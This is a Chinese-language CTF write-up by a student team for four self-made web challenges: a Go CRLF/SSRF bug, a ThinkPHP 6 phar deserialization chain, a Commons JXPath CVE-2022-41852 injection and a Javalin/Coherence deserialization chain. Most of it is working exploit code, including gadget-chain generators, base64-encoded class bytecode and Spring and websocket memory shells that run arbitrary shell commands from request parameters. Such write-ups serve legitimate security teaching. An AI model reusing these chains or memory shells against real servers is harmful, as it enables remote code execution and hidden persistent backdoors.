校赛wp

校赛wp

前言

说好寒假的校赛,新学期来了也没举办。真tm服了,不愧是东b大专。实在看不下去了,只好我们战队自己出题、搭环境举办了,也只是面对有意愿入队的同学开放。总共出了4道题,由于有3道几乎都不是自己原创的,根据其他比赛杂糅起来的,主要还是面对新入门的同学,所以这3道不是基础知识就是网上能有资料,剩下一道就是研究了几天搞得。废话不多说。

easygo

签到题,主要还是想锻炼一下我的go语言语法基础,很简单,就是go ssti + clrf。结果把根路由配置错了,还好还是给了main.go的源码,所以只剩下clrf了。原本的预期:

提示需要post name,随便post,可以发现name的值出现在了页面上,可以盲猜有ssti。尝试{{.}}

出现一个路由,访问可以得到源码的base64。分析源码:

func proxy(c *gin.Context) {
    name, _ := c.GetQuery("name")
    conn, err := net.Dial("tcp", "127.0.0.1:8888")
    conn.SetReadDeadline(time.Now().Add(3 * time.Microsecond * 1000))
    if err != nil {
        fmt.Println("err :", err)
        return
    }
    packet := "GET /isAdmin?name=" + name + " HTTP/1.1\r\n"
    packet += "Host: 127.0.0.1\r\n\r\n"
    //fmt.Println(packet)
    _, err = conn.Write([]byte(packet))
    if err != nil {
        fmt.Println("recv failed, err:", err)
        return
    }
    buf := [512]byte{}
    defer conn.Close()
    var result string
    for {
        n, err := conn.Read(buf[:])
        if err != nil {
            c.JSON(200, gin.H{
                "msg": result,
            })
            return
        }
        result += string(buf[:n])
    }
}

func getFlag(c *gin.Context) {
    ip, _, err := net.SplitHostPort(c.Request.RemoteAddr)
    name := c.PostForm("name")
    if err != nil {
        fmt.Println("error occur")
    }
    if ip != "127.0.0.1" {
        c.JSON(200, gin.H{
            "msg": "内部使用",
        })
        return
    }
    if name != "admin" {
        c.JSON(200, gin.H{
            "msg": "管理员内部使用",
        })
        return
    }
    c.JSON(200, gin.H{
        "msg": "逮到flag了" + flag,
    })
}

r.GET("/proxy", proxy)
r.GET("/isAdmin", isAdmin)
r.POST("/getFlag", getFlag)

上面是关键部分。发现需要ssrf来拿flag。然后proxy构造http数据包来请求/isAdmin(没用的路由)。很明显存在clrf漏洞,所以直接构造ssrf数据包即可。exp.py:

import requests

url = 'http://127.0.0.1:8888/proxy?name='
data = "name=admin%26asd=" #proxy会对url解码,把数据包后面的垃圾字符当作额外的参数丢掉
clrf = '''aaa HTTP/1.1
Host:127.0.0.1

POST /getFlag HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length: {}

{}'''.format(str(len(data)), data).replace('\n', '\r\n')
print(clrf)
res = requests.get(url+clrf)
print(res.text)

其实可以直接把data改成name=admin,因为content-length限制了长度,就不会解析后面的垃圾字符了。

ezthinkphp

经典tp反序列化而已,虽然是6.1.0,但是之前的链子还能用。分析源码:

 public function delete(){
        $filename = $_GET['filename'];
        if (file_exists($filename)){
            unlink($filename);
        } else {
            die("李在赣神魔");
        }
    }

    public function upload(){
        if(isset($_FILES['file']))
        {
            $target_path  =  "./upload";
            $t_path = $target_path . "/" . md5(basename($_FILES['file']['name']));
            $uploaded_name = $_FILES['file']['name'];
            $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
            $uploaded_size = $_FILES['file']['size'];
            $uploaded_tmp  = $_FILES['file']['tmp_name'];

            if(!preg_match("/jpg|png|gif/i", $uploaded_ext))
            {
                die("已验丁真,鉴定为无图说**");
            }
            else
            {
                move_uploaded_file($uploaded_tmp, $t_path.".".$uploaded_ext);
                echo $t_path.".".$uploaded_ext."这是我的图图了!";
            }
        }
        else
        {
            die("不养懒汉!");
        }
    }

简单的上传图片和删除功能。 file_exists & unlink都是经典的触发phar的函数,所以就很简单了。直接拿6.0.12的链子打,参考链接:https://xz.aliyun.com/t/11584

修改里面的rce参数即可,然后改成生成phar文件的就可以了。exp.php

<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['/readflag']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {

    }
}

namespace {

    use think\model\Pivot;

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Pivot(new Pivot());
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "asd"); //添加要压缩的文件
    $phar->stopBuffering();
    rename("phar.phar", "phar.jpg");
}

直接用python传文件即可:

import requests

url = 'http://39.98.78.101:65001/index.php/index'
file = {"file": ('phar.jpg', open("phar.jpg", "rb").read())}

res = requests.post(url=url+"/upload", files=file)
jpg_path = res.text.split('jpg')[0] + 'jpg'
print(jpg_path)
res2 = requests.get(url=url+"/delete?filename=phar://"+jpg_path)
print(res2.text)

jxpath

不小心把exp代码塞进jar包了,居然没人做。。。后来更新附件删掉了exp。

这个是个杂糅题,根据CVE-2022-41852加上不出网打法而已。分析源码:

        @RequestMapping({"/evil"})
    @ResponseBody
    public String evil(@RequestParam(name = "payload",required = false) String payload) {
        JXPathContext context = JXPathContext.newContext((Object)null);
        context.getValue(payload);
        return "you can get it!";
    }

明显是jxpath的漏洞,直接拿网上的exp打可以发现不出网没回显。所以需要写内存马。根据这篇文章https://tttang.com/archive/1771/最底下的payload:

eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec("open -na Calculator")')

可以用js来执行Java代码,然后之前网鼎杯的时候,有一道题用ssti写内存马就用的js来写的。所以同样的原理即可。

Exp.java

package com.ctf.jxpath;

import java.io.IOException;
import java.util.Base64;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;

public class Exp {
    public Exp() {
    }

    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
        byte[] bytes = ClassPool.getDefault().get("com.ctf.jxpath.Test").toBytecode();
        byte[] base64 = Base64.getEncoder().encode(bytes);
        System.out.println(new String(base64));
    }
}

注入内存马的类:Test.java

package com.ctf.jxpath;

import com.ctf.jxpath.controller.InterceptorInject;
import java.lang.reflect.Field;
import java.util.ArrayList;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

public class Test {
    public Test() {
    }

    public void doInject() throws NoSuchFieldException, IllegalAccessException {
        System.out.println("success");
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping);
        adaptedInterceptors.add(new InterceptorInject());
    }
}

最后一行的代码加入的InterceptorInject.java是rce的控制器,代码如下:

package com.ctf.jxpath.controller;

import java.io.PrintWriter;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

public class InterceptorInject extends HandlerInterceptorAdapter {
    public InterceptorInject() {
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        String code = request.getParameter("cmd");
        if (code != null) {
            try {
                PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }

                Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } catch (Exception var9) {
            }

            return false;
        } else {
            return true;
        }
    }
}

然后将上面的Exp生成的base64加入到要执行的js代码里面

eval(getEngineByName(javax.script.ScriptEngineManager.new(),'nashorn'),'var bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAYAoAFQAtCQAuAC8IADAKADEAMgoAMwA0CAA1CwA2ADcHADgIADkLAAgAOgcAOwgAJAoAPAA9CgA%2bAD8KAD4AQAcAQQcAQgoAEQAtCgAQAEMHAEQHAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vY3RmL2p4cGF0aC9UZXN0OwEACGRvSW5qZWN0AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAApFeGNlcHRpb25zBwBGBwBHAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAFgAXBwBIDABJAEoBAAdzdWNjZXNzBwBLDABMAE0HAE4MAE8AUAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAUQwAUgBTAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDABUAFUBAD5vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZwcAVgwAVwBYBwBZDABaAFsMAFwAXQEAE2phdmEvdXRpbC9BcnJheUxpc3QBACtjb20vY3RmL2p4cGF0aC9jb250cm9sbGVyL0ludGVyY2VwdG9ySW5qZWN0DABeAF8BABNjb20vY3RmL2p4cGF0aC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQAUABUAAAAAAAIAAQAWABcAAQAYAAAAMwABAAEAAAAFKrcAAbEAAAACABkAAAAKAAIAAAAMAAQADQAaAAAADAABAAAABQAbABwAAAABAB0AFwACABgAAADIAAMABQAAAEiyAAISA7YABLgABRIGA7kABwMAwAAITCsSCbkACgIAwAALTRILEgy2AA1OLQS2AA4tLLYAD8AAEDoEGQS7ABFZtwAStgATV7EAAAADABkAAAAiAAgAAAAQAAgAEQAXABIAIwATACsAFAAwABUAOgAWAEcAFwAaAAAANAAFAAAASAAbABwAAAAXADEAHgAfAAEAIwAlACAAIQACACsAHQAiACMAAwA6AA4AJAAlAAQAJgAAAAwAAQA6AA4AJAAnAAQAKAAAAAYAAgApACoAAQArAAAAAgAs");var classLoader = org.springframework.util.ClassUtils.getDefaultClassLoader();var test1 = org.springframework.cglib.core.ReflectUtils.defineClass("com.ctf.jxpath.Test",bytes,classLoader).newInstance();test1.doInject();')

由于web应用没开url自动解码,所以用burp post payload即可

javalin

可以说是差不多原创题。由于感觉上面的题目都没有自己去研究挖掘的过程,所以我打算从头开始出一个题。想到天天挖spring框架,都卷飞了,就想着能不能自己挖一个不同的框架,然后就找到了Javalin。

考点:Java反序列化打内存马。

找了一个coherence,网上有很多的文章,就不细说了。讲其中一条。根据网上的说法,ReflectionExtractor的extract函数可以进行任意函数调用,然后ExtractorComparator的compare函数可以触发。学过反序列化的应该马上能反应到,PriorityQueue可以触发compare函数,所以一条简单的链子就有了:

PriorityQueue.readObject()->heapify()->siftDownUsingComparator()
    ExtractorComparator.compare()
        ReflectionExtractor.extract()

然后就是写内存马了。然后这个由于能调用任意函数,所以直接用TemplatesImpl.getOuputProperties()进行注入内存马即可。关键点就是内存马了。网上的内存马都是基于Spring或者Tomcat的,但是这个框架是Javalin,中间件是jetty。所以得自己debug找到路由的配置方式。

我当时是先从中间开始找,即代码中的ctx变量:

向下一路找到了注册路由的地方:ctx->req->_scope->_servlet

((ServletHolder)((Request)ctx.req).getUserIdentityScope()).getServlet()
// IntelliJ API Decompiler stub source generated from a class file
// Implementation of methods is not available

package io.javalin.jetty

public final class JavalinJettyServlet public constructor(config: io.javalin.core.JavalinConfig, httpServlet: io.javalin.http.JavalinServlet) : org.eclipse.jetty.websocket.servlet.WebSocketServlet {
    public final val config: io.javalin.core.JavalinConfig /* compiled code */

    private final val httpServlet: io.javalin.http.JavalinServlet /* compiled code */

    public final val wsExceptionMapper: io.javalin.websocket.WsExceptionMapper /* compiled code */

    public final val wsPathMatcher: io.javalin.websocket.WsPathMatcher /* compiled code */

    public final fun addHandler(handlerType: io.javalin.websocket.WsHandlerType, path: kotlin.String, ws: java.util.function.Consumer<io.javalin.websocket.WsConfig>, roles: kotlin.collections.Set<io.javalin.core.security.RouteRole>): kotlin.Unit { /* compiled code */ }

    private final fun allowedByAccessManager(entry: io.javalin.websocket.WsEntry, ctx: io.javalin.http.Context): kotlin.Boolean { /* compiled code */ }

    public open fun configure(factory: org.eclipse.jetty.websocket.servlet.WebSocketServletFactory): kotlin.Unit { /* compiled code */ }

    protected open fun service(req: javax.servlet.http.HttpServletRequest, res: javax.servlet.http.HttpServletResponse): kotlin.Unit { /* compiled code */ }

    private final fun setWsProtocolHeader(req: javax.servlet.http.HttpServletRequest, res: javax.servlet.http.HttpServletResponse): kotlin.Unit { /* compiled code */ }
}

这是kotlin代码,观察发现有httpServlet,即JavalinServlet
可以看到http注册的路由,其代码:

// IntelliJ API Decompiler stub source generated from a class file
// Implementation of methods is not available

package io.javalin.http

public final class JavalinServlet public constructor(config: io.javalin.core.JavalinConfig) : javax.servlet.http.HttpServlet {
    public final val config: io.javalin.core.JavalinConfig /* compiled code */

    public final val errorMapper: io.javalin.http.ErrorMapper /* compiled code */

    public final val exceptionMapper: io.javalin.http.ExceptionMapper /* compiled code */

    public final val lifecycle: kotlin.collections.MutableList<io.javalin.http.Stage> /* compiled code */

    public final val matcher: io.javalin.http.PathMatcher /* compiled code */

    public final fun addHandler(handlerType: io.javalin.http.HandlerType, path: kotlin.String, handler: io.javalin.http.Handler, roles: kotlin.collections.Set<io.javalin.core.security.RouteRole>): kotlin.Unit { /* compiled code */ }

    protected open fun service(request: javax.servlet.http.HttpServletRequest, response: javax.servlet.http.HttpServletResponse): kotlin.Unit { /* compiled code */ }

    private final fun io.javalin.core.JavalinConfig.isCorsEnabled(): kotlin.Boolean { /* compiled code */ }
}

发现有addHandler方法,然后就可以尝试注入http内存马。现在需要知道如何获取ctx。由于中间件是jetty,网上找到一篇文章:http://wjlshare.com/archives/1707

类似的思路,找到了request:

Thread thread = Thread.currentThread();
Field threadlocalsfield = thread.getClass().getDeclaredField("threadLocals");
threadlocalsfield.setAccessible(true);
Object threadLocal = threadlocalsfield.get(thread);
Field tableField = threadLocal.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(threadLocal);
HttpConnection httpConnection;
HttpChannel httpChannel;
Request request = null;
Field valueField;
for (Object entry : table) {
  if (entry != null) {
    valueField = entry.getClass().getDeclaredField("value");
    valueField.setAccessible(true);
    if (valueField.get(entry).getClass().getName().contains("HttpConnection")) {
      httpConnection = (HttpConnection) valueField.get(entry);
      httpChannel = httpConnection.getHttpChannel();
      request = httpChannel.getRequest();
      break;
    }
  }
}

然后就踩坑了。。。。

理论上是可以用addHandler添加http路由,debug时也发现成功了,但是当访问该路由时,直接无回显,不知道啥原因,整了半天。然后换了条思路。发现JavalinJettyServlet(代码在上面)也有addHandler不过是添加的websocket。所以就尝试添加websocket内存马。

Exp.java

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ReflectionExtractor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class Exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{exploit();}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("aaa");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("getOutputProperties", null);
        ExtractorComparator extractorComparator = new ExtractorComparator();
        Field field = extractorComparator.getClass().getDeclaredField("m_extractor");
        field.setAccessible(true);
        field.set(extractorComparator, reflectionExtractor);
        PriorityQueue priorityQueue = new PriorityQueue(extractorComparator);
        priorityQueue.add(ti);
        setField(priorityQueue, "size", 2);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    private static void setField(Object o, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = o.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(o, value);
    }
}

test.java

import io.javalin.core.security.RouteRole;
import io.javalin.http.Handler;
import io.javalin.http.HandlerType;
import io.javalin.http.JavalinServlet;
import io.javalin.jetty.JavalinJettyServlet;
import io.javalin.websocket.WsConfig;
import io.javalin.websocket.WsHandlerType;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletHolder;

import javax.servlet.ServletException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashSet;
import java.util.Scanner;
import java.util.function.Consumer;

public class test {
    public static void exploit() throws NoSuchFieldException, IllegalAccessException, ServletException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Thread thread = Thread.currentThread();
        Field threadlocalsfield = thread.getClass().getDeclaredField("threadLocals");
        threadlocalsfield.setAccessible(true);
        Object threadLocal = threadlocalsfield.get(thread);
        Field tableField = threadLocal.getClass().getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(threadLocal);
        HttpConnection httpConnection;
        HttpChannel httpChannel;
        Request request = null;
        Field valueField;
        for (Object entry : table) {
            if (entry != null) {
                valueField = entry.getClass().getDeclaredField("value");
                valueField.setAccessible(true);
                if (valueField.get(entry).getClass().getName().contains("HttpConnection")) {
                    httpConnection = (HttpConnection) valueField.get(entry);
                    httpChannel = httpConnection.getHttpChannel();
                    request = httpChannel.getRequest();
                    break;
                }
            }
        }
        JavalinJettyServlet javalinJettyServlet = (JavalinJettyServlet) ((ServletHolder) request.getUserIdentityScope()).getServlet();
        Field field = javalinJettyServlet.getClass().getDeclaredField("httpServlet");
        field.setAccessible(true);
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAKAoACAAcBwAdCgACAB4KAAUAHwcAIAoABwAhBwAiBwAjBwAkAQARQ21kTWVzc2FnZUhhbmRsZXIBAAxJbm5lckNsYXNzZXMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADkxDbWRXc0hhbmRsZXI7AQAGYWNjZXB0AQAiKExpby9qYXZhbGluL3dlYnNvY2tldC9Xc0NvbmZpZzspVgEACHdzQ29uZmlnAQAfTGlvL2phdmFsaW4vd2Vic29ja2V0L1dzQ29uZmlnOwEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEAUExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL3V0aWwvZnVuY3Rpb24vQ29uc3VtZXI8TGlvL2phdmFsaW4vd2Vic29ja2V0L1dzQ29uZmlnOz47AQAKU291cmNlRmlsZQEAEUNtZFdzSGFuZGxlci5qYXZhDAAMAA0BAB5DbWRXc0hhbmRsZXIkQ21kTWVzc2FnZUhhbmRsZXIMAAwAJQwAJgAnAQAdaW8vamF2YWxpbi93ZWJzb2NrZXQvV3NDb25maWcMABMAFAEADENtZFdzSGFuZGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABtqYXZhL3V0aWwvZnVuY3Rpb24vQ29uc3VtZXIBABEoTENtZFdzSGFuZGxlcjspVgEACW9uTWVzc2FnZQEAKihMaW8vamF2YWxpbi93ZWJzb2NrZXQvV3NNZXNzYWdlSGFuZGxlcjspVgAhAAcACAABAAkAAAADAAEADAANAAEADgAAAC8AAQABAAAABSq3AAGxAAAAAgAPAAAABgABAAAACgAQAAAADAABAAAABQARABIAAAABABMAFAABAA4AAABFAAQAAgAAAA0ruwACWSq3AAO2AASxAAAAAgAPAAAACgACAAAADgAMAA8AEAAAABYAAgAAAA0AEQASAAAAAAANABUAFgABEEEAEwAXAAEADgAAADMAAgACAAAACSorwAAFtgAGsQAAAAIADwAAAAYAAQAAAAoAEAAAAAwAAQAAAAkAEQASAAAAAwAYAAAAAgAZABoAAAACABsACwAAAAoAAQACAAcACgAA");
        defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
        javalinJettyServlet.addHandler(WsHandlerType.WEBSOCKET, "/asd", (Consumer<WsConfig>) classLoader.loadClass("CmdWsHandler").newInstance(), new HashSet<RouteRole>());
    }
}

其中的base64位websocket内存马:

CmdWsHandler.class

import io.javalin.websocket.WsConfig;
import io.javalin.websocket.WsMessageContext;
import io.javalin.websocket.WsMessageHandler;
import org.jetbrains.annotations.NotNull;

import java.io.InputStream;
import java.util.Scanner;
import java.util.function.Consumer;

public class CmdWsHandler implements Consumer<WsConfig> {

    @Override
    public void accept(WsConfig wsConfig) {
        wsConfig.onMessage(new CmdMessageHandler());
    }

    class CmdMessageHandler implements WsMessageHandler {

        @Override
        public void handleMessage(@NotNull WsMessageContext wsMessageContext) throws Exception {
            String cmd = wsMessageContext.message();
            if (cmd != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    wsMessageContext.send(out);
                } catch (Exception e) {
                }
            }
        }
    }
}

然后网上抄了一个websocket测试脚本:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>本地websocket测试</title>
        <meta name="robots" content="all" />
        <meta name="keywords" content="本地,websocket,测试工具" />
        <meta name="description" content="本地,websocket,测试工具" />
        <style>
            .btn-group{
                display: inline-block;
            }
        </style>
    </head>
    <body>
        <input type='text' value='ws://localhost:3000/api/ws' class="form-control" style='width:390px;display:inline'
         id='wsaddr' />
        <div class="btn-group" >
            <button type="button" class="btn btn-default" onclick='addsocket();'>连接</button>
            <button type="button" class="btn btn-default" onclick='closesocket();'>断开</button>
            <button type="button" class="btn btn-default" onclick='$("#wsaddr").val("")'>清空</button>
        </div>
        <div class="row">
            <div id="output" style="border:1px solid #ccc;height:365px;overflow: auto;margin: 20px 0;"></div>
            <input type="text" id='message' class="form-control" style='width:810px' placeholder="待发信息" onkeydown="en(event);">
            <span class="input-group-btn">
                <button class="btn btn-default" type="button" onclick="doSend();">发送</button>
            </span>
            </div>
        </div>
    </body>

        <script crossorigin="anonymous" integrity="sha384-LVoNJ6yst/aLxKvxwp6s2GAabqPczfWh6xzm38S/YtjUyZ+3aTKOnD/OJVGYLZDl" src="https://lib.baomitu.com/jquery/3.5.0/jquery.min.js"></script>
        <script language="javascript" type="text/javascript">
            function formatDate(now) {
                var year = now.getFullYear();
                var month = now.getMonth() + 1;
                var date = now.getDate();
                var hour = now.getHours();
                var minute = now.getMinutes();
                var second = now.getSeconds();
                return year + "-" + (month = month < 10 ? ("0" + month) : month) + "-" + (date = date < 10 ? ("0" + date) : date) +
                    " " + (hour = hour < 10 ? ("0" + hour) : hour) + ":" + (minute = minute < 10 ? ("0" + minute) : minute) + ":" + (
                        second = second < 10 ? ("0" + second) : second);
            }
            var output;
            var websocket;

            function init() {
                output = document.getElementById("output");
                testWebSocket();
            }

            function addsocket() {
                var wsaddr = $("#wsaddr").val();
                if (wsaddr == '') {
                    alert("请填写websocket的地址");
                    return false;
                }
                StartWebSocket(wsaddr);
            }

            function closesocket() {
                websocket.close();
            }

            function StartWebSocket(wsUri) {
                websocket = new WebSocket(wsUri);
                websocket.onopen = function(evt) {
                    onOpen(evt)
                };
                websocket.onclose = function(evt) {
                    onClose(evt)
                };
                websocket.onmessage = function(evt) {
                    onMessage(evt)
                };
                websocket.onerror = function(evt) {
                    onError(evt)
                };
            }

            function onOpen(evt) {
                writeToScreen("<span style='color:red'>连接成功,现在你可以发送信息啦!!!</span>");
            }

            function onClose(evt) {
                writeToScreen("<span style='color:red'>websocket连接已断开!!!</span>");
                websocket.close();
            }

            function onMessage(evt) {
                writeToScreen('<span style="color:blue">服务端回应 ' + formatDate(new Date()) + '</span><br/><span class="bubble">' +
                    evt.data + '</span>');
            }

            function onError(evt) {
                writeToScreen('<span style="color: red;">发生错误:</span> ' + evt.data);
            }

            function doSend() {
                var message = $("#message").val();
                if (message == '') {
                    alert("请先填写发送信息");
                    $("#message").focus();
                    return false;
                }
                if (typeof websocket === "undefined") {
                    alert("websocket还没有连接,或者连接失败,请检测");
                    return false;
                }
                if (websocket.readyState == 3) {
                    alert("websocket已经关闭,请重新连接");
                    return false;
                }
                console.log(websocket);
                $("#message").val('');
                writeToScreen('<span style="color:green">你发送的信息 ' + formatDate(new Date()) + '</span><br/>' + message);
                websocket.send(message);
            }

            function writeToScreen(message) {
                var div = "<div class='newmessage'>" + message + "</div>";
                var d = $("#output");
                var d = d[0];
                var doScroll = d.scrollTop == d.scrollHeight - d.clientHeight;
                $("#output").append(div);
                if (doScroll) {
                    d.scrollTop = d.scrollHeight - d.clientHeight;
                }
            }

            function en(event) {
                var evt = evt ? evt : (window.event ? window.event : null);
                if (evt.keyCode == 13) {
                    doSend()
                }
            }
        </script>

</html>

连接即可rce:

实在想不明白为啥http的内存马没有回显。

最后

代码已经上传github:https://github.com/maxzed6/My-CTF-Challenge

